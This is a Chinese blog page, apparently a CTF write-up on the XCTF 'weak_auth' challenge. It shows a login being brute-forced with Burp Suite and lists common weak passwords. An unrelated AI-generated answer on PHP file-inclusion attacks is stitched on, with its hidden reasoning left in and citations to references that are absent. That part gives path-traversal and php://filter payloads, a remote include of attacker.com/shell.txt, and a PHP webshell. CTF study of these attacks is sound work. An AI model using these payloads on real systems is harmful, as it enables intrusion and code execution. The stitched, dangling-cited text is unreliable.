XCTF攻防世界web新手练习_ 7_weak_auth

本文通过XCTF攻防世界web新手练习题“weak_auth”的解决过程,详细讲解了弱密码爆破的方法。包括如何利用burpsuite进行密码爆破,以及弱密码的常见类型,如顺序或重复字符、登录名的一部分、常用单词等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

XCTF攻防世界web新手练习—weak_auth

题目

题目为weak_auth,描述信息,重点:随手就设了一个密码
在这里插入图片描述
进入题目,看到需要登录,随便输入一个用户名和密码试试
在这里插入图片描述
弹出弹窗提示用admin账户登录
在这里插入图片描述
于是用确定用户名为admin
F12看看源码,提示需要一个字典,意思是要进行爆破
在这里插入图片描述
于是用burp进行爆破,当密码为123456时返回长度不同
在这里插入图片描述
查看此时返回响应得到flag!
在这里插入图片描述

关于弱密码的爆破

弱密码

弱密码是易于猜测的密码,主要有以下几种:

  • 1. 顺序或重复的字相邻字母: “111111” 、“abcdefg”、 “asdf”、“qwer”键盘上的
  • 2. 使用数字或符号的仅外观类似替换,例如使用数字“1”、“0”替换英文字母“i”、“O”,字符“@”替换字母“a”等;
  • 3. 登录名的一部分:密码为登录名的一部分或完全和登录名相同;
  • 4. 常用的单词:如自己和熟人的名字及其缩写,常用的单词及其缩写,宠物的名字等;
  • 5. 常用数字:比如自己或熟人的生日、证件编号等,以及这些数字与名字、称号等字母的简单组合。

下面是一些常见的弱密码:

admin ——太容易猜出
123 ——同上
abcde ——同上
abc123 ——同上
123456 ——由于文化因素极其常用
1234 ——同上
888888 ——同上
1234567890 ——同上
susan ——常见人名
BarackObama ——高知名度人物
monkey ——常见动物名且正好六位
password ——经常被使用,极易猜出
p@$$\/\/0rd ——简单的字母替换,易被黑客软件破译
rover ——宠物的常用名称,也是一个单词
12/3/75 ——日期
nbusr123 ——可能是用户名,如果是这样的话很容易被猜出
asdf ——常用键盘的键排列
qwerty ——常用键盘的键排列
aaaaa ——重复的字母,极易被破解
Taiwan ——地名
administrator--太容易猜出
用burpsuite进行暴力破解密码

参考 https://blog.youkuaiyun.com/u011781521/article/details/54772795

附上一个字典 https://github.com/rootphantomer/Blasting_dictionary

<think>好的,用户需要了解XCTF竞赛中与PHP include相关的Web安全漏洞的解题思路。首先,我应该回忆PHP中的文件包含漏洞,尤其是include函数的不当使用可能导致的安全问题。用户提到的引用[4]中的代码显示,$lan变量直接来自Cookie中的language值,然后拼接.php后缀进行包含。这种情况下,如果没有严格的过滤,攻击者可能通过修改Cookie来包含任意文件,比如利用路径遍历或者远程文件包含。 接下来,我需要考虑常见的利用方法。例如,路径遍历攻击,用户可能构造类似../../etc/passwd的payload来读取系统文件。此外,如果服务器配置允许远程包含(allow_url_include为On),攻击者可以包含恶意服务器上的文件执行代码。引用[3]的PHP类型比较文档可能帮助理解变量处理,但这里更关键的是文件包含漏洞。 然后,解题步骤可能包括:检查代码中是否存在未过滤的用户输入,尝试包含敏感文件如/etc/passwd,或者上传恶意文件并通过包含执行。例如,在引用[4]的情况中,设置Cookie的language为../../../tmp/uploaded_file,如果存在上传临时文件的话。还可能利用PHP伪协议,如php://filter来读取源码,比如?lan=php://filter/convert.base64-encode/resource=config,这样可以获取base64编码后的文件内容。 同时,需要注意引用[2]中提到的情况,通过文件包含读取admin.php或function.php的源码,这可能泄露关键信息。此外,确保回答中引用了正确的来源,比如引用[4]的代码示例,说明如何利用Cookie进行文件包含。 最后,生成相关问题时要覆盖漏洞原理、利用方式、防御措施和CTF中的其他常见漏洞,帮助用户全面理解。需要确保回答结构清晰,步骤详细,并且引用正确,比如在关键点后添加[^4]或[^2]。</think>### XCTF PHP include Web安全漏洞解题思路 在CTF竞赛中,PHP的`include`函数常因未正确过滤用户输入导致文件包含漏洞。以下是基于引用[4]的代码分析及典型解题方法: --- #### **漏洞原理** 1. **关键代码片段** 通过Cookie中的`language`参数动态包含文件: ```php $lan = $_COOKIE['language']; @include($lan.".php"); ``` 若未对`$lan`进行过滤,攻击者可通过路径遍历(如`../../../etc/passwd`)或PHP伪协议(如`php://filter`)读取任意文件[^4]。 2. **漏洞利用条件** - 目标服务器开启`allow_url_include`(远程文件包含) - 文件路径可控且未限制文件后缀 --- #### **解题步骤** 1. **探测漏洞** - 修改Cookie中`language`值为`../../../../etc/passwd%00`,尝试读取系统文件(需PHP版本<5.3.4,因空字节截断漏洞)[^4]。 2. **利用PHP伪协议** - **读取源码**:构造Payload为`php://filter/convert.base64-encode/resource=index`,通过Base64解码获取源码: ```http Cookie: language=php://filter/convert.base64-encode/resource=index ``` - **远程代码执行**:若允许远程包含,设置`language=http://attacker.com/shell.txt`,触发恶意代码执行。 3. **结合文件上传** - 若存在文件上传功能,上传含恶意代码的图片(如`<?php system($_GET['cmd']);?>`),通过包含临时文件路径实现RCE: ```http Cookie: language=../../../tmp/uploaded_file ``` --- #### **防御措施** 1. 白名单限制包含路径(如只允许包含`en/`或`zh/`目录) 2. 使用`basename()`函数过滤路径中的特殊字符 3. 关闭`allow_url_include`配置 ---
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值